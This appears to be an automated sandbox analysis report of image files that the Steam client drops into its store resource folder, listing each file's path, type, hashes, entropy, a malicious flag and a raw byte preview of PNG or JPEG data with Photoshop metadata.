Preview:	.PNG........IHDR...W.........a.......tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:44E5E56D433DE511902187E8485AE4B6" xmpMM:DocumentID="xmp.did:0923BCF9502211E58A62BD2358C893EB" xmpMM:InstanceID="xmp.iid:0923BCF8502211E58A62BD2358C893EB" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9BE232BAA04DE511BB64F94519B11101" stRef:documentID="xmp.did:44E5E56D433DE511902187E8485AE4B6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.E9.....IDATx..}.z..j.......3..3n[.....R....].["A

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\bp_mastercard_brazil.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	28229
Entropy (8bit):	5.389748174511279
Encrypted:	false
SSDEEP:
MD5:	3553E857A7F5CA7A98FF1F410FEAA6AC
SHA1:	3269E3CF138FC529EDCCA5C52022E3D06B651614
SHA-256:	023EA50D4851BD4DB9131E8BEAE7C17852978726FB9AC7FB46CD8A3D23B2833A
SHA-512:	E7D97B75CAD344C46E7DA9F311C70C9FC48D0F1692C04B79C02D75CD1B433D2848199F805856FCCD46C5A8564030C3B5BCB7EE8C6123AC0DB20E700C979BE910
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmpMM:OriginalDocumentID>xmp.did:9A4185F711A6E111A3F099D455B8770A</xmpMM:OriginalDocumentID>. <xmpMM:DocumentID>xmp.did:C79575CDD77511E2A1

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\bp_pagseguro.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20861
Entropy (8bit):	7.964639102424485
Encrypted:	false
SSDEEP:
MD5:	CE9B62CF8E7AE4C6C244543F1BC55F9D
SHA1:	7EF5CDAC51D5A3D90259BA939E3B010288449D75
SHA-256:	459A358A875A40E7E2A92580B0D84C1D4EFF3A213E8D435FF66DD696C2F9D954
SHA-512:	3C7DC07FB8A24959AA05B5B2FD8ECF973611F88C181BC2A8C7E3424BE62ED721DD9ED781746B13DF272FEE64D249873FE6050C18EBD5CE072F46CF6B154EE7AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:AE377497DACC11E2994187327463683B" xmpMM:DocumentID="xmp.did:AE377498DACC11E2994187327463683B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:AE377495DACC11E2994187327463683B" stRef:documentID="xmp.did:AE377496DACC11E2994187327463683B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>c(.3..M.IDATx...`......UN.X.e..+n..{..I(.&@.H()....B..J.-.%$.......n.7.d......<......u..k........o.:3.M.6!.-......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\bp_visa_brazil.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21874
Entropy (8bit):	7.974214736841508
Encrypted:	false
SSDEEP:
MD5:	96BDDE73C6AE6728E8FA7706C467DFBA
SHA1:	C7230640D12D38E8C6A80915F8C832A2819100A8
SHA-256:	B171D68EBA7020A39DEAE2B57F4CE6E6DD550B197731C6A01B0DB0681914E234
SHA-512:	871CA86591147BA7171FB745FA769A6A22E4B392088FB9BAC67F8299017053941CD926907748A93F86BBFCCD1F50CEA832B8F8E6F1D6A294198F5943BFAAE486
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:B2B82151D77111E2A28AB10EFDCCC466" xmpMM:InstanceID="xmp.iid:B2B82150D77111E2A28AB10EFDCCC466" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4528726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..o...Q.IDATx..}..$W}......vgsPX.EYH .D...m\|w..6N.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\cartebleue.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	39092
Entropy (8bit):	7.9883015184415855
Encrypted:	false
SSDEEP:
MD5:	9640E1FBCEAAC2464B7DF2308C24CBF9
SHA1:	B53BDFFD4293C4330B6B9318565868AC275DBB0F
SHA-256:	F47C20BA1372FE87DE59A0F64952F3BE0C48CC59BB86FD22A835E7046883A85E
SHA-512:	890990ECDB8FFBE41B4F7A3BC8888C377DB07EFB72A209DE6B36AD75991066215A22BCB5DC1F6373462E24B3830A3A1DB5D374EBE6FD18EDB27AE4A9658A0D95
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:70A0E06DA69A11E19362AFE811A67F35" xmpMM:InstanceID="xmp.iid:70A0E06CA69A11E19362AFE811A67F35" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...[....IDATx......q..}.y.... ......%..H..dR....l+

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\clickandbuy.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9046
Entropy (8bit):	7.884995684070196
Encrypted:	false
SSDEEP:
MD5:	E269373C53B88549CF999650F19BD477
SHA1:	90EB597B9F1222E9A05D4FC2C8938AA50B1B1DD2
SHA-256:	8ABAA1834657395E1754310B42370B2BC55774F22916E36909BADCBE4DCDB8D9
SHA-512:	B9C0174F49A5C2CAE7455F6393EA63A82DB4A2FB6D8C0F507FED7A57704A03DDC44F6ED6584905FB696C79B3EE62CAA3609C40D557943F6E961250E5E59D212D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:EFD304F4A69A11E19D1CF6CDB715ED09" xmpMM:InstanceID="xmp.iid:EFD304F3A69A11E19D1CF6CDB715ED09" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.E.5....IDATx.........h@..B3lM....D. AQ......L...3f

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\dankort.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7635
Entropy (8bit):	7.868579383420863
Encrypted:	false
SSDEEP:
MD5:	11D9D4F2AAB17095E9A6080A56ACDCB5
SHA1:	71A2F431E6408973E5D81478680D865C1074519C
SHA-256:	A88CBCAEEAC89D573D47666182B46BF46D46C2F42E974825C4979ED70D5E19DC
SHA-512:	B70DF8F38AA7EA2AC65750CF984595401C34FECBF9E4CAEF4035323EEEE30E8D70C6ADE1065870C2820CC5E2B5FCB3D54402624E1224526058CB3F1D2A908BFD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:4E622B89A69A11E1BDBEAF8A6DCB2704" xmpMM:InstanceID="xmp.iid:4E622B88A69A11E1BDBEAF8A6DCB2704" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..k.....IDATx....UU.......L@z..pB....,13.)*,..06.Q>.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\direct_ebanking.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16093
Entropy (8bit):	7.961797997730605
Encrypted:	false
SSDEEP:
MD5:	1445E72E68B28A551EF80D8E7BDF18C5
SHA1:	348400081DECE6C4423E5F044CBA53C7BB5CA479
SHA-256:	0B6C66EC338CE0B08D5B44DA52A58BC312FD51B180816A4AF4F0EF8840ACE424
SHA-512:	4DA3F33B05033709CC7AF70E318A46FF3AA4CCBA2F86F2C82892550A498E47E2A119E4C37CDEF51FD3C1F0BD62C9945F6EF5309E4B26179CA8543B03178F21C4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:3F2CB8CBA69A11E1A8BAAD8961B1EAE4" xmpMM:InstanceID="xmp.iid:3F2CB8CAA69A11E1A8BAAD8961B1EAE4" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.:i...;.IDATx......._...I..U.Vq%..$L........?....l

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\discover.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19366
Entropy (8bit):	7.961989679762421
Encrypted:	false
SSDEEP:
MD5:	BCDB6B82C825C9E20A8949980270DB82
SHA1:	A16AC5717DB465DFBACA560786606E57FFE48935
SHA-256:	1EC45487E963CC02C05FE82F5C0D1577E370F47BAC2F0D910848DFEA86270737
SHA-512:	1BD038E8CDCBFCC036362D6BA16C16CDC3B0586178E251291667DC5A33D792100A9B0AD104ABC22557B0811E87075BE8625DD662034E3E2BF1E3A1F34468C58E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:D0FFC205A69A11E1A412BAF012F51DD5" xmpMM:InstanceID="xmp.iid:D0FFC204A69A11E1A412BAF012F51DD5" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.z....G.IDATx....%ey..9..........XPc.5.c...=F..D.c

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\filterbg.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 245 x 136, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6529
Entropy (8bit):	7.9342337805158305
Encrypted:	false
SSDEEP:
MD5:	55AD79E9FE3BD98EDFED19F4E9E875DF
SHA1:	9C9C21B9B6BD13D178CD3FC2E2654859EF3FAC25
SHA-256:	66990AD526A4656F1942CF398D36AEBC1784E8DB576217A9D2566DC6FB533925
SHA-512:	7DA3D3F83444D59F01348B285D86EB8D92702B537F56572515D5D4472550CF1E8F62CE7AC5063E50395372C4D48F5C14AA1C51A0F80A673D3EB7A143DE40A23D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............?..z....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\genre_overview.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 460 x 215, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	191606
Entropy (8bit):	7.995342217163588
Encrypted:	true
SSDEEP:
MD5:	32E5BE3826682D0159B566D149DA30A2
SHA1:	8465B9D4B7C28BD2509CB9CE2C35585F7F845C1B
SHA-256:	21931CBC55BF19743871ED2F1D8D1A0057F3CE2349E6449D5441FFF1BA8EF418
SHA-512:	2CA9389591FC1AA29A350B1C052C7D1F3AE8A5280868CB1A5CB093FBABE301F3B55D905C501478AA73E3F60FE1119D345F38526A87C63908F6C851CCEE2EA39F
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR................=....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:BD52542EC9C6E111B7A0CD477372E499" xmpMM:DocumentID="xmp.did:4AA14BBFC6E911E1A3CEC4A41CB6B5EC" xmpMM:InstanceID="xmp.iid:4AA14BBEC6E911E1A3CEC4A41CB6B5EC" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C452542EC9C6E111B7A0CD477372E499" stRef:documentID="xmp.did:BD52542EC9C6E111B7A0CD477372E499"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...y...IDATx..y.m.Y...3.;...CO.'u.[..e..d.R.....$.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\giropay.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20283
Entropy (8bit):	7.97519510847994
Encrypted:	false
SSDEEP:
MD5:	9531998F73C61198A54480413199B684
SHA1:	DE035ADF1CB5EBDE54F16B1FF23FA73FC1A6FC4A
SHA-256:	4AB2D415E6061DE13E3650E9630147D8D96A2D2A3427BCFBC30173FB17874C04
SHA-512:	7EB1D85BE809D1E7EC92D77175F931AE4B5ADFB5CF390B886FA4F4C74ABCEDAA3D03C8AD0534C65BAA7A56606F9ADAFBB4A6EFC02D209B723A2BE57EFD9F5B25
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:5B561C37A69A11E1B32587356AD1CEE7" xmpMM:InstanceID="xmp.iid:5B561C36A69A11E1B32587356AD1CEE7" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>5(....KmIDATx......'....G]RU.T.o$@..$...9.......6mO{

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\holidaysalebg.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS5 Windows, datetime=2012:12:18 18:21:21], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	304793
Entropy (8bit):	6.53462744345836
Encrypted:	false
SSDEEP:
MD5:	41E97654DBCB528DB253F2CE7D817CE1
SHA1:	5D9AFF3CC447E2B09ADEA05A66E13DB5D6269E80
SHA-256:	AF215A42265364BD4034912B32B53488ABFB3766D51F6F670924653681D439F3
SHA-512:	9CD38D72EE2C7B7739EB885595E7499BB01D2F17DBA438F262B7FA6B8FA478B6B30D2747D21B6E2D87EE355B3358E34EB8992A2E45E95CF10D49F36D47A22CE1
Malicious:	false
Reputation:	unknown
Preview:	......Exif..MM.*.............................b...........j.(...........1.........r.2...........i...............-....'..-....'.Adobe Photoshop CS5 Windows.2012:12:18 18:21:21........................................8...........................................&.(.........................................H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................Z...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..4J.J.Lr....R..5..(... ....#H.a.A........".&....}.../@x#..........D.<..W.@............5KJ..Y5......k....<..Ji...(S..B.....J.....BUB.MaY-`........Z."x.VZJ

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_add_to_cart.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	7.477087488262468
Encrypted:	false
SSDEEP:
MD5:	89A9A84950AA282E5B03BBEE7F9C3AD6
SHA1:	3BEB6BAB5D112E09A8F059CCFBCC001E20AF3703
SHA-256:	8A045289442AFAF2B98E7D461337894D43E84130881BBA24D72730E953B3AC40
SHA-512:	D57F147B75E4A3A96F2AB66956FB9913436BD2A7860A24B5513904871112F230DCD8007C5CD68EB203B24B1FEF5920AADD8901BBEA5FA8D499ABB95B99FE2787
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...<...<.....:..r....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:313C507B670811E5A55FC306FC4AFEB9" xmpMM:DocumentID="xmp.did:313C507C670811E5A55FC306FC4AFEB9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:313C5079670811E5A55FC306FC4AFEB9" stRef:documentID="xmp.did:313C507A670811E5A55FC306FC4AFEB9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...W....IDATx..[Ik.A..v...AQ1h...1...../..QA.%.T..A..A...."..v...x...}.b."..q.3...$...Mx...Tw...\|Vw....~..zU.Z.X,.l

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_cards.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1118
Entropy (8bit):	6.412735100081535
Encrypted:	false
SSDEEP:
MD5:	5924A6619772E9545DDAAE0951FDEA57
SHA1:	3DA86C7FEA5C2FF51A300AD327778365132A0C67
SHA-256:	4478DF851F4BA35B56DF86C0DE055FBC9A76CA104EF05950408BA3ED9B1F1331
SHA-512:	085B10EB3A04F08AC496F0D4678FB2BD4FC84CC0A1A56F1BE02728E1E8C84DA945485834966E1909CA77E202E73FAC57B62E6D1C78834FAB7344D416299EAAAD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:1A438EF4616011E5BF64A0AE468C205C" xmpMM:DocumentID="xmp.did:1A438EF5616011E5BF64A0AE468C205C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1A438EF2616011E5BF64A0AE468C205C" stRef:documentID="xmp.did:1A438EF3616011E5BF64A0AE468C205C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......IDATx.b...?.`.L....:p...$.{..?..1r..V...........$E.....@......b6r5.s.3 ......q.`.$.H.....m f...II&*@.3...(.0.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_controller_enabled.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
